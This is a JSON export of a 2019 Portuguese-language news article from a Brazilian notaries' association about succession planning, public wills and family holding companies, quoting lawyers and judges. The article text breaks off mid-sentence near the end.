{"id":1857,"date":"2019-05-06T15:12:04","date_gmt":"2019-05-06T18:12:04","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/planejamento-sucessorio-ato-em-cartorio-de-notas-da-seguranca-e-previne-litigios\/"},"modified":"2019-05-06T15:12:04","modified_gmt":"2019-05-06T18:12:04","slug":"planejamento-sucessorio-ato-em-cartorio-de-notas-da-seguranca-e-previne-litigios","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/planejamento-sucessorio-ato-em-cartorio-de-notas-da-seguranca-e-previne-litigios\/","title":{"rendered":"Planejamento sucess\u00f3rio: ato em Cart\u00f3rio de Notas d\u00e1 seguran\u00e7a e previne lit\u00edgios"},"content":{"rendered":"<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Todo mundo j&aacute; ouviu falar de alguma fam&iacute;lia que parece aquela de um comercial de margarina: feliz e sem problemas. Mas at&eacute; os mais felizes parentes se desentendem quando o assunto heran&ccedil;a vem &agrave; tona. Quando um ente querido falece e n&atilde;o deixa instru&ccedil;&otilde;es claras de como desejava distribuir seu patrim&ocirc;nio por meio de um planejamento sucess&oacute;rio adequado, v&aacute;rios s&atilde;o os problemas que podem ser trazidos &agrave; tona no seio de uma constru&ccedil;&atilde;o familiar.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;O planejamento sucess&oacute;rio existe exatamente para quem tem a heran&ccedil;a deixar bem claro qual destino deseja que os seus bens tenham ap&oacute;s a sua morte, ajudando a evitar longos lit&iacute;gios judiciais e brigas familiares. Ao contr&aacute;rio do que se pensa, planejar e colocar em pr&aacute;tica o plano de sucess&atilde;o n&atilde;o significa perder poder ou patrim&ocirc;nio, mas sim dar cumprimento &agrave; sua vontade quando n&atilde;o mais estiver presente.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Mas ent&atilde;o o que &eacute; o planejamento sucess&oacute;rio? Nas palavras do professor de Direito e tabeli&atilde;o honor&aacute;rio, Zeno Veloso, o planejamento sucess&oacute;rio &eacute; um ato de amor. &ldquo;O nome diz por si pr&oacute;prio. Como quem diz eu te amo, n&atilde;o h&aacute; necessidade de explica&ccedil;&otilde;es. Mas &eacute; bom perguntar para saber qual a intensidade do amor, quando come&ccedil;ou, se est&aacute; progredindo, e etc. O planejamento sucess&oacute;rio &eacute; uma forma de se estruturar, de se organizar de forma eficiente e inteligente o patrim&ocirc;nio de determinada pessoa&rdquo;, declara Veloso.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;A advogada especialista em Direito de Fam&iacute;lia e Sucess&atilde;o, Ivone Zeger explica que o planejamento sucess&oacute;rio &eacute; tudo aquilo que o autor de um patrim&ocirc;nio, aquele que o det&eacute;m, seja do tamanho que for, deixa destinado. &ldquo;Quando a pessoa tem algum tipo de bem, e tem a preocupa&ccedil;&atilde;o com os seus herdeiros, a coisa mais importante a fazer &eacute; se planejar. &Eacute; uma das coisas mais inteligentes que reputo, e &eacute; uma das coisas que voc&ecirc; pode fazer sozinho, n&atilde;o precisa da aprova&ccedil;&atilde;o de ningu&eacute;m. O planejamento sucess&oacute;rio serve exatamente para aquela pessoa que gostaria de deixar o seu patrim&ocirc;nio bem esquematizado. Deixa claro para quem vai, de que forma, e como ser&aacute; feito&rdquo;, comenta.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Toda essa organiza&ccedil;&atilde;o &eacute; a uni&atilde;o de atitudes e a&ccedil;&otilde;es que s&atilde;o realizadas por algu&eacute;m que tenha como prop&oacute;sito dispor sobre o destino dos seus bens. Ou seja, a pessoa, de maneira volunt&aacute;ria e consciente, deixa destinado o patrim&ocirc;nio que construiu por toda a vida.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;De acordo com a doutora e mestre em Direito Civil pela Universidade do Estado do Rio de Janeiro (UERJ), Ana Luiza Maia Nevares, o planejamento sucess&oacute;rio consiste em um conjunto de medidas executadas com o objetivo de definir a transmiss&atilde;o heredit&aacute;ria de bens e direitos de uma pessoa previamente ao seu falecimento. Tais medidas podem ter diversas naturezas: c&iacute;vel, tribut&aacute;ria e societ&aacute;ria.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;H&aacute; diversas formas de realizar esse ato. &Eacute; poss&iacute;vel realizar um testamento, fazer uma holding familiar ou ent&atilde;o optar por efetuar uma doa&ccedil;&atilde;o em vida. Para realizar a escolha, &eacute; necess&aacute;rio levar em conta quais s&atilde;o os tipos de patrim&ocirc;nio e qual a melhor forma de estruturar o seu planejamento.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;De longe o testamento &eacute; o mais escolhido para se deixar claro o destino dos bens de algu&eacute;m. Na base da Central Notarial de Servi&ccedil;os Eletr&ocirc;nicos Compartilhados (CENSEC), central administrada pelo Col&eacute;gio Notarial, h&aacute; mais de 700 mil testamentos cadastrados desde 1970. De 2007 a abril de 2019 foram realizados 340.934 testamentos em Tabelionatos de Notas, sendo que o Estado de S&atilde;o Paulo foi aquele com a maior quantidade de atos praticados no per&iacute;odo: 98.620. Em seguida est&aacute; o Rio Grande do Sul, com 49.879 atos em Tabelionatos de Notas, seguido por Minas Gerais, com 49.144.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;O testamento p&uacute;blico realizado em um Tabelionato de Notas te proporciona garantia por ser feito pelo tabeli&atilde;o, que tem f&eacute; p&uacute;blica e tudo aquilo que estiver contido l&aacute; ser&aacute; recepcionado pelo Poder Judici&aacute;rio com outra vis&atilde;o. H&aacute; mais de 15 anos eu j&aacute; falava da import&acirc;ncia de fazer o testamento com um tabeli&atilde;o, ent&atilde;o as pessoas come&ccedil;aram a entender. &Eacute; a &uacute;nica coisa que voc&ecirc; pode fazer individualmente&rdquo;, acrescenta Zeger.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Segundo o juiz de Direito em S&atilde;o Paulo, Alberto Gentil de Almeida Pedroso, o ganho na elabora&ccedil;&atilde;o do testamento em companhia do not&aacute;rio &eacute; extraordin&aacute;rio. &ldquo;Trata-se de t&eacute;cnico jur&iacute;dico altamente preparado, que prestar&aacute; assessoramento jur&iacute;dico, orientado pelos princ&iacute;pios e regras de Direito, pela prud&ecirc;ncia e pelo acautelamento, na busca do melhor atendimento aos anseios do testador&rdquo;, diz o magistrado. &ldquo;Al&eacute;m de explicar detalhadamente a acomoda&ccedil;&atilde;o patrimonial arquitetada pelo disponente, o tabeli&atilde;o apresentar&aacute; os impactos tribut&aacute;rios e demais circunst&acirc;ncias de indispens&aacute;vel conhecimento para o leigo. Refor&ccedil;o que o papel do tabeli&atilde;o &eacute; identificar os desejos do testador e traduzi-los da maneira mais eficiente, instrumentalizando suas vontades de maneira jur&iacute;dica para gera&ccedil;&atilde;o de efeitos ap&oacute;s a sua morte&rdquo;, relata Gentil.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Para o advogado especialista em Direito Privado, Frederico Jos&eacute; de Britto Leite, h&aacute; v&aacute;rias esp&eacute;cies de testamento, mas indiscutivelmente &eacute; a forma p&uacute;blica aquela que mostra mais efici&ecirc;ncia. &ldquo;Lavrado perante o tabeli&atilde;o, este testamento traz consigo a seguran&ccedil;a que os demais (particulares, cerrados ou mar&iacute;timos, por exemplo) n&atilde;o t&ecirc;m. Salvo quando se p&otilde;e diante de situa&ccedil;&atilde;o que n&atilde;o se permite a forma p&uacute;blica, n&atilde;o usar o testamento p&uacute;blico seria o mesmo que dar oportunidade a d&uacute;vidas, expor-se a um risco desnecess&aacute;rio e incompat&iacute;vel com o planejamento da sucess&atilde;o&rdquo;, comenta Leite.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;J&aacute; para o juiz titular da 32&ordf; Vara do Trabalho de Salvador (BA), Rodolfo Pamplona Filho, o testamento p&uacute;blico, por ser um ato personal&iacute;ssimo manifestado pessoalmente pelo interessado perante um Tabeli&atilde;o de Notas, profissional detentor de f&eacute; p&uacute;blica, traz maior seguran&ccedil;a jur&iacute;dica de que a &uacute;ltima manifesta&ccedil;&atilde;o de vontade do titular da heran&ccedil;a seja cumprida.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;Uma vez cumpridas as formalidades legais, ou seja, idade m&iacute;nima de 16 anos, capacidade plena e declara&ccedil;&atilde;o de vontade livre manifestada perante o Tabeli&atilde;o de Notas, o testamento p&uacute;blico, diferentemente do testamento particular, &eacute; mais seguro, especialmente porque sua exist&ecirc;ncia permanece registrada no Registro Central de Testamentos (RCTO), que deve ser obrigatoriamente consultado, na ocasi&atilde;o da abertura do invent&aacute;rio&rdquo;, conta Filho.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Nos Estados Unidos, o escrit&oacute;rio de advocacia Rocket realizou uma pesquisa sobre a quantidade de americanos que fazem testamento. O levantamento apontou que 64% dos norte-americanos n&atilde;o possuem o documento para demonstrar a &uacute;ltima vontade. A taxa &eacute; de 70% entre os cidad&atilde;os de 45 a 54 anos. No Pa&iacute;s, a lei permite que o Estado taxe heran&ccedil;as, caso o autor da heran&ccedil;a n&atilde;o tenha deixado nenhum herdeiro direto.<\/p>\n<p style=\"text-align: justify;\"><strong>Prevenindo lit&iacute;gios <\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Al&eacute;m da seguran&ccedil;a e f&eacute; p&uacute;blica que o testamento p&uacute;blico pode trazer, evitar lit&iacute;gios tamb&eacute;m &eacute; uma consequ&ecirc;ncia do ato. Quem manifesta a sua &uacute;ltima vontade atrav&eacute;s do instrumento, muitas vezes, poupa discuss&otilde;es entre os familiares, que &agrave;s vezes podem durar anos no Poder Judici&aacute;rio.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;A doutora Ana Luiza Maia Nevares explica que como o testamento expressa a &uacute;ltima vontade da pessoa falecida, evitam-se conflitos quanto &agrave; divis&atilde;o dos bens e\/ou o destino do patrim&ocirc;nio de uma pessoa. &ldquo;Os herdeiros devem, assim, se conformar com a vontade testament&aacute;ria manifestada e, ent&atilde;o, lit&iacute;gios poder&atilde;o ser evitados. Em boa hora, a maior parte dos nossos Tribunais admite a lavratura de invent&aacute;rios extrajudiciais mesmo se houver testamento, desde que haja autoriza&ccedil;&atilde;o judicial para tanto, o que, sem d&uacute;vida, visa desafogar o Poder Judici&aacute;rio&rdquo;, explica Nevares.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;De acordo com Zeno Veloso, o testamento &eacute; uma forma da pessoa dizer como quer que se dividam os seus bens ap&oacute;s a sua morte. Mas essa liberdade no Direito brasileiro, tamb&eacute;m n&atilde;o &eacute; absoluta. &ldquo;Ao contr&aacute;rio do que acontece com algumas sucess&otilde;es no sistema anglosax&atilde;o, como na Inglaterra, Estados Unidos e pa&iacute;ses que seguem esse sistema, onde a liberdade &eacute; quase total, mas &eacute; muito mais ampla que a nossa. E como &eacute; a nossa? N&oacute;s temos o princ&iacute;pio da liberdade, mas de forma relativa, porque aqui n&oacute;s temos o instituto do herdeiro necess&aacute;rio, que sempre fica com metade dos bens da heran&ccedil;a. Toda pessoa que tem herdeiro necess&aacute;rio tem que reservar metade da heran&ccedil;a para este&rdquo;, argumenta Veloso.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Segundo o advogado Frederico Jos&eacute; de Britto Leite, como o testamento &eacute; a declara&ccedil;&atilde;o de &uacute;ltima vontade do autor da heran&ccedil;a, funciona como o guia do qual n&atilde;o se pode fugir. &ldquo;Al&eacute;m de ser um fin&iacute;ssimo filtro nas discuss&otilde;es postas por sucessores beligerantes, atua como limitador destas mesmas discuss&otilde;es, e em alguns casos, como excludente das querelas de um invent&aacute;rio e partilha de bens. Mas n&atilde;o podemos dizer que, necessariamente, evita lit&iacute;gios, se usado com o significado de que ele exclui sempre o dissenso. O testamento, especialmente o p&uacute;blico, lavrado em Tabelionatos, evita as delongas do lit&iacute;gio, torna as discuss&otilde;es mais objetivas e alvo de decis&otilde;es mais r&aacute;pidas, e tamb&eacute;m por isso impede les&otilde;es ao patrim&ocirc;nio herdado&rdquo;, declara Leite.<\/p>\n<p style=\"text-align: justify;\"><strong>Como fazer o planejamento sucess&oacute;rio? <\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Antes de tudo, &eacute; necess&aacute;rio avaliar quais tipos de bens e patrim&ocirc;nios a pessoa possui. O planejamento sucess&oacute;rio ideal &eacute; muito individual. Algu&eacute;m que possui apenas uma casa, n&atilde;o vai ter a mesma escolha que uma pessoa que tem v&aacute;rias empresas, alguns im&oacute;veis e uma grande quantia de dinheiro.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;Em primeiro lugar &eacute; preciso se cercar de pessoas balizadas para que elas possam de verdade te ajudar. Evidentemente eu digo isso porque voc&ecirc; precisa de especialistas na &aacute;rea do Direito de Fam&iacute;lia, na &aacute;rea do Direito Sucess&oacute;rio e, se poss&iacute;vel, na &aacute;rea do Direito Tribut&aacute;rio. Essas s&atilde;o as figuras mais importantes para que se possa fazer verdadeiramente um planejamento ideal daquele patrim&ocirc;nio que a pessoa tem e quer deixar&rdquo;, comenta Ivone Zeger.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;De acordo com a advogada, muitas vezes o autor da heran&ccedil;a precisa fazer uma s&eacute;rie de modifica&ccedil;&otilde;es, tais como: alterar o tipo de empresa que a pessoa tem por conta daquilo que ela quer deixar; modificar contratos sociais em rela&ccedil;&atilde;o a s&oacute;cios, em rela&ccedil;&atilde;o a participa&ccedil;&otilde;es; fazer modifica&ccedil;&otilde;es das cl&aacute;usulas que a lei permite, como a incomunicabilidade, impenhorabilidade e a ineabilidade.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;Ent&atilde;o s&atilde;o cl&aacute;usulas que voc&ecirc; pode utilizar para fazer com que o c&ocirc;njuge ou os filhos tenham ou n&atilde;o venham a ter restri&ccedil;&otilde;es, os netos tamb&eacute;m. &Eacute; poss&iacute;vel colocar cl&aacute;usulas para que eles s&oacute; possam assumir a dire&ccedil;&atilde;o, ger&ecirc;ncia, e uma s&eacute;rie de quest&otilde;es, como por exemplo, que um neto s&oacute; pode assumir a empresa se tiver uma forma&ccedil;&atilde;o superior&rdquo;, relata Zeger.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;J&aacute; o advogado Frederico Jos&eacute; de Britto Leite explica que a melhor forma de fazer o planejamento sucess&oacute;rio &eacute; a que mais se sintoniza com o autor da heran&ccedil;a, e para este fim, o autor da heran&ccedil;a precisar&aacute; conhecer as ferramentas legais dispon&iacute;veis na legisla&ccedil;&atilde;o brasileira e a sua melhor aplica&ccedil;&atilde;o ao caso em estudo.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;Trata-se, como se percebe, de algo que tem um subjetivismo elevado, mas h&aacute; um fator que &eacute; puro e t&atilde;o somente objetivo: quando iniciar? Dir&iacute;amos que quanto mais cedo tem in&iacute;cio, mais eficaz tende a ser. Vale ressaltar, ainda, que mesmo havendo muta&ccedil;&atilde;o no patrim&ocirc;nio sobre qual incidiu o planejamento, como por exemplo quando se processa a troca de ativos (im&oacute;veis por dinheiro ou vice e versa, ou, a venda de uma participa&ccedil;&atilde;o em uma sociedade que se traduz em recursos financeiros), o que foi idealizado remanescer&aacute;: o princ&iacute;pio escolhido pelo autor da heran&ccedil;a&rdquo;, declara o advogado.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Para o juiz Alberto Gentil, a compreens&atilde;o do modelo ideal passa por uma verifica&ccedil;&atilde;o de perfil do disponente e seus interesses na organiza&ccedil;&atilde;o patrimonial post mortem. Assim, existem in&uacute;meros instrumentos de planejamento sucess&oacute;rio &#8211; com objetivos diversos e que melhor podem acomodar o interesse pretendido, inclusive no tocante &agrave; carga tribut&aacute;ria incidente.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;Exemplificando: a escolha do regime de bens no casamento ou na uni&atilde;o est&aacute;vel (que al&eacute;m de gerar efeitos patrimoniais ao longo do matrim&ocirc;nio\/conviv&ecirc;ncia tamb&eacute;m proporcionar&aacute; consequ&ecirc;ncias jur&iacute;dicas sucess&oacute;rias ap&oacute;s a morte de qualquer dos nubentes). Vale lembrar que al&eacute;m dos modelos tradicionais de regime de bens do C&oacute;digo Civil, ainda admite-se a constru&ccedil;&atilde;o de regime de bens at&iacute;pico (para atendimento das especificidades dos envolvidos)&rdquo;, explica o magistrado.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;&Eacute; poss&iacute;vel a constitui&ccedil;&atilde;o de sociedades, caso das holding familiares &#8211; idealizadas e constru&iacute;das para a administra&ccedil;&atilde;o e at&eacute; partilha de bens no futuro. Tamb&eacute;m h&aacute; a realiza&ccedil;&atilde;o de atos de disposi&ccedil;&atilde;o em vida, como as doa&ccedil;&otilde;es &#8211; com ou sem reserva de usufruto &#8211; e post mortem, com a feitura de testamentos, inclusive com as cl&aacute;usulas de incomunicabilidade, impenhorabilidade e inalienabilidade. Ou ent&atilde;o a efetiva&ccedil;&atilde;o de partilhas em vida e de cess&otilde;es de quotas heredit&aacute;rias ap&oacute;s o falecimento. E por &uacute;ltimo a contrata&ccedil;&atilde;o de previd&ecirc;ncias privadas abertas, seguros de vida, al&eacute;m de diversos outros fundos de investimentos com a prec&iacute;pua finalidade por parte do disponente de acomoda&ccedil;&atilde;o patrimonial post mortem&rdquo;, finaliza.<\/p>\n<p style=\"text-align: justify;\"><strong>Holding familiar <\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Dentro do planejamento sucess&oacute;rio, h&aacute; quem escolha fazer uma holding familiar. Ela funciona como uma empresa que possui todos os patrim&ocirc;nios dos membros de um grupo, assegurando a transfer&ecirc;ncia de bens entre os s&oacute;cios de acordo com as cl&aacute;usulas estabelecidas no contrato.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;Holding familiar &eacute; uma das formas, por&eacute;m n&atilde;o a &uacute;nica, de planejamento sucess&oacute;rio, ao lado dos testamentos, das doa&ccedil;&otilde;es, com ou sem reserva de usufruto, com cl&aacute;usula de revers&atilde;o ou com cl&aacute;usulas de inalienabilidade, impenhorabilidade e\/ou incomunicabilidade, dentre outras&rdquo;, explica a diretora coordenadora do Notariado Jovem do Brasil e membro da Comiss&atilde;o do Notariado Jovem na Comiss&atilde;o de Assuntos Americanos da Uni&atilde;o Internacional do Notariado, D&eacute;bora Fayad Misquiati.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;O termo holding serve para designar uma empresa que det&eacute;m como uma das finalidades b&aacute;sicas a participa&ccedil;&atilde;o acion&aacute;ria &ndash; a&ccedil;&otilde;es ou cotas &ndash; de outas empresas. Holding familiar, simplificando, &eacute; uma pessoa jur&iacute;dica que representa o patrim&ocirc;nio de pessoas f&iacute;sicas, pertencentes a um grupo familiar, que detenham bens e direitos, podendo ser constitu&iacute;do por bens im&oacute;veis, participa&ccedil;&otilde;es societ&aacute;rias, entre outros&rdquo;, completa.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Segundo a diretora, no caso da holding familiar, constitui-se um tipo societ&aacute;rio &ndash; o que melhor se enquadrar na situa&ccedil;&atilde;o apresentada (definida em face do objeto social que explora) &ndash; com a finalidade de controlar e proteger o patrim&ocirc;nio familiar para fins de planejamento sucess&oacute;rio (com a holding familiar &eacute; poss&iacute;vel que genitores confiram todo o patrim&ocirc;nio pessoal &agrave; sociedade, podendo ocorrer a doa&ccedil;&atilde;o das quotas ou a&ccedil;&otilde;es em favor dos sucessores, evitando um futuro invent&aacute;rio), a continuidade dos neg&oacute;cios, como tamb&eacute;m a diminui&ccedil;&atilde;o de custo tribut&aacute;rio, al&eacute;m de outras.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;Uma das vantagens em constituir uma holding familiar por sociedade simples &eacute; que a integraliza&ccedil;&atilde;o do capital social pode se dar por meio de presta&ccedil;&atilde;o de servi&ccedil;os. Apesar de normalmente o capital social da holding ser integralizado no momento de sua constitui&ccedil;&atilde;o, se um membro da fam&iacute;lia n&atilde;o possuir bens, poder&aacute; integralizar o capital social com seu trabalho. A constitui&ccedil;&atilde;o de uma holding familiar, assim como a de uma holding patrimonial &ndash; uma administradora de bens pr&oacute;prios &ndash; n&atilde;o s&oacute; pode como deve ser feita por instrumento p&uacute;blico notarial (escritura p&uacute;blica). O not&aacute;rio a servi&ccedil;o das rela&ccedil;&otilde;es jur&iacute;dico -privadas, recebe uma delega&ccedil;&atilde;o do Estado para redigir documentos dotados de f&eacute; p&uacute;blica. Como jurista, exerce fun&ccedil;&atilde;o assessora, de assist&ecirc;ncia, conselho e forma&ccedil;&atilde;o da vontade das partes e da adequa&ccedil;&atilde;o ou conforma&ccedil;&atilde;o daquela vontade ao ordenamento jur&iacute;dico&rdquo;, explica D&eacute;bora Misquiati.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;De acordo com a tabeli&atilde;, quem melhor que um not&aacute;rio para instrumentalizar, por exemplo, um contrato social de uma holding patrimonial, constitu&iacute;da sob a forma de sociedade limitada, que integraliza seu capital social com bens im&oacute;veis, com o objetivo de facilitar a gest&atilde;o destes bens e gerar benef&iacute;cios fiscais e sucess&oacute;rios? O not&aacute;rio &eacute; um profissional de direito que trabalha essencialmente com bens im&oacute;veis, envolvendo direito contratual, sucess&oacute;rio e familiar, que tem conhecimento aprofundado da legisla&ccedil;&atilde;o civil, permitindo que este instrumento circule na sociedade com seguran&ccedil;a jur&iacute;dica e isento de v&iacute;cios, possibilitando a previs&atilde;o, de forma clara, nas cl&aacute;usulas do instrumento de constitui&ccedil;&atilde;o da sociedade das mais diversas peculiaridades de cada grupo familiar e at&eacute; mesmo prevendo eventuais div&oacute;rcios e sa&iacute;da de s&oacute;cios, facilitando a circula&ccedil;&atilde;o de riquezas e continuidade dos neg&oacute;cios familiares.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;Iniciamos o procedimento com uma entrevista com as partes, para entender o que elas pretendem &ndash; deve-se realizar um criterioso estudo do caso concreto e dos objetivos de cada envolvido -, para, ent&atilde;o, informarmos os poss&iacute;veis caminhos e forma como cada um se efetiva, suas vantagens e desvantagens. Nesses casos, al&eacute;m dos documentos que titularizam a propriedade de um bem, como as matr&iacute;culas atualizadas, no caso de im&oacute;veis, as certid&otilde;es de valores venais e de d&eacute;bitos tribut&aacute;rios, cabe uma an&aacute;lise da declara&ccedil;&atilde;o de Imposto de Renda dos envolvidos. Como todo ato notarial, o instrumento passar&aacute; por uma qualifica&ccedil;&atilde;o subjetiva (an&aacute;lise dos documentos pessoas dos envolvidos e objetiva)&rdquo;, comenta a diretora.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Conforme explica o juiz Rodolfo Pamplona Filho, da 32&ordf; Vara do Trabalho de Salvador (BA),&eacute; importante ressaltar que a op&ccedil;&atilde;o pela cria&ccedil;&atilde;o de uma holding familiar n&atilde;o exclui a possibilidade de elaborar um testamento, documento apto a deixar clara a manifesta&ccedil;&atilde;o da vontade voltada &agrave; disposi&ccedil;&atilde;o de bens do autor da heran&ccedil;a, no ato da sua sucess&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;A holding familiar &eacute; interessante, pois o fato de poder operar, atuar, e at&eacute; mesmo controlar diversas outras pessoas jur&iacute;dicas, pertencente a um mesmo grupo familiar, evitando dissens&otilde;es familiares individuais internas que prejudiquem a atividade econ&ocirc;mica de todo o conjunto econ&ocirc;mico familiar. Al&eacute;m de reduzir significantemente o risco de desentendimento em rela&ccedil;&atilde;o &agrave; partilha dos bens herdados, a institui&ccedil;&atilde;o da holding familiar otimiza a continuidade dos neg&oacute;cios; a prote&ccedil;&atilde;o patrimonial; a redu&ccedil;&atilde;o dos tributos incidentes sobre a transfer&ecirc;ncia de bens aos herdeiros, bem como garante a redu&ccedil;&atilde;o de custos e tempo com a elabora&ccedil;&atilde;o de invent&aacute;rio&rdquo;, comenta Filho.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Segundo o juiz, no caso da holding familiar, portanto, a morte do autor da heran&ccedil;a n&atilde;o ter&aacute; grandes impactos na condu&ccedil;&atilde;o do neg&oacute;cio, pois as tarefas j&aacute; est&atilde;o previamente distribu&iacute;das entre os parentes herdeiros. No tocante &agrave; economia tribut&aacute;ria &#8211; um dos maiores atrativos deste tipo de planejamento sucess&oacute;rio &#8211; a constitui&ccedil;&atilde;o de uma holding para administra&ccedil;&atilde;o patrimonial familiar poder&aacute; propiciar a incid&ecirc;ncia de uma carga tribut&aacute;ria muito menor em rela&ccedil;&atilde;o &agrave;quela aplicada &agrave;s pessoas f&iacute;sicas, considerando-se as quotas sociais e n&atilde;o os bens isoladamente.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;De acordo com o advogado Frederico Leite, as holdings, sejam ela familiares ou n&atilde;o, s&atilde;o sociedades empresariais como outra qualquer. &ldquo;O que as diferencia &eacute; a finalidade para qual foram constitu&iacute;das (ou, o seu objeto social): controlar um patrim&ocirc;nio que pode estar representado por a&ccedil;&otilde;es ou quotas de outras sociedades, ou outros bens de esp&eacute;cie diversa. Sendo assim, e independentemente de seus s&oacute;cios serem de uma mesma fam&iacute;lia, elas podem sim ser constitu&iacute;das por instrumento particular ou p&uacute;blico&rdquo;, relata o advogado.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;De acordo com Leite, as regras b&aacute;sicas que se aplicam &agrave; cria&ccedil;&atilde;o de uma holding s&atilde;o sempre as mesmas, independentemente de se usar a forma particular ou a p&uacute;blica para redigir o contrato social (identifica&ccedil;&atilde;o dos s&oacute;cios, nome da sociedade e seu endere&ccedil;o, prazo de vig&ecirc;ncia, indica&ccedil;&atilde;o e avalia&ccedil;&atilde;o dos bens que compor&atilde;o o seu capital, etc).<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;Mudam de conte&uacute;do algumas regras que refletem o perfil da fam&iacute;lia que a constituiu (como ser&aacute; a sua gest&atilde;o, a distribui&ccedil;&atilde;o de resultados\/dividendos, a entrada de novos s&oacute;cios e sa&iacute;da dos que assim o desejarem, dentre outras que revelam o modo de vida empresarial pretendido pela fam&iacute;lia).<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Importante dizer, por&eacute;m, que a forma p&uacute;blica se diferencia positivamente, pois, como as regras da holding ser&atilde;o informadas a um tabelionato de notas, o instrumento resultante j&aacute; nasce dotado de f&eacute; p&uacute;blica, imprimindo maior seguran&ccedil;a &agrave; pretendida exatid&atilde;o do que nele se cont&eacute;m e declara. Uma vez lavrado o ato, o cart&oacute;rio emite o respectivo traslado para subsequente arquivamento na Junta Comercial competente, formalizando a cria&ccedil;&atilde;o da pessoa jur&iacute;dica, e de onde segue para os demais registros competentes, a exemplo do Cadastro Nacional de Pessoas Jur&iacute;dicas e da inscri&ccedil;&atilde;o municipal&rdquo;, acrescenta Leite.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Para o advogado, as holdings ainda s&atilde;o pouco conhecidas no Brasil e, certamente por isso, menos usadas. Em pa&iacute;ses como Estados Unidos, Luxemburgo, &Aacute;ustria e Inglaterra, mesmo dispondo de outros meios legais de uso assemelhado, como o trust, utiliza-se das holdings com maior frequ&ecirc;ncia.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;&ldquo;Atos como a constitui&ccedil;&atilde;o de uma holding familiar, dentre tantos outros atos da vida civil, revelam circunst&acirc;ncias personal&iacute;ssimas e muito sens&iacute;veis. Express&aacute;-los de modo claro e intelig&iacute;vel para o cliente &eacute; uma tarefa que demanda precis&atilde;o t&eacute;cnica e terminol&oacute;gica, e exatid&atilde;o na transcri&ccedil;&atilde;o da express&atilde;o de sua vontade. Se associamos estes elementos (complexidade da linguagem jur&iacute;dica, que &eacute; naturalmente formal e ainda latinizada em raz&atilde;o de suas origens, e clareza) &eacute; f&aacute;cil entender que n&atilde;o se trata de uma tarefa simples. Sendo assim, a despeito da lei facultar a alguns destes atos de vontade a utiliza&ccedil;&atilde;o da forma particular, parece-nos que a prud&ecirc;ncia sugere utilizar escrituras p&uacute;blicas, pois, uma vez submetidos a esta formalidade, est&atilde;o exclu&iacute;das, por exemplo, e desde o in&iacute;cio, futuras alega&ccedil;&otilde;es de coa&ccedil;&atilde;o, ou m&aacute; compreens&atilde;o do que est&aacute; transcrito no documento, estes dois incidentes que podem dar lugar &agrave; alega&ccedil;&atilde;o do que Direito Brasileiro denomina V&iacute;cio de Vontade&rdquo;, destaca Leite.<\/p>\n<p style=\"text-align: justify;\">&nbsp; &nbsp; &nbsp;Sobre as diferen&ccedil;as entre optar por fazer um testamento ou uma holding familiar, Alberto Gentil acredita que apesar de ambos os institutos serem exemplos de instrumentos de planejamento sucess&oacute;rio h&aacute; sens&iacute;vel distin&ccedil;&atilde;o entre eles. &ldquo;A holding familiar &eacute; uma cria&ccedil;&atilde;o jur&iacute;dica, uma 